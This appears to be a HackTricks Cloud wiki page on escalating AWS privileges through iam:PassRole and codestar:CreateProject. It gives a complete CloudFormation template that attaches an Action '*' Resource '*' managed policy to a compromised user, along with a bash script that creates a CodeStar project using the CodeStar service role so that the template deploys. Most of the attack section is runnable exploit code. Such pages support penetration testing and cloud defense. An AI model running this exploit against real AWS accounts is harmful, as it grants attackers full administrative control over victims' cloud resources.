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hacktricks-cloud/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
2024-12-12 19:35:48 +01:00

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# iam:PassRole, codestar:CreateProject
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With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.
To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:
{% code title="toolchain.json" %}
```json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}
```
{% endcode %}
Also **upload** this `empty zip` file to the **bucket**:
{% file src="../../../../.gitbook/assets/empty.zip" %}
Remember that the **bucket with both files must be accessible by the victim account**.
With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:
```bash
PROJECT_NAME="supercodestar"
# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc\_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}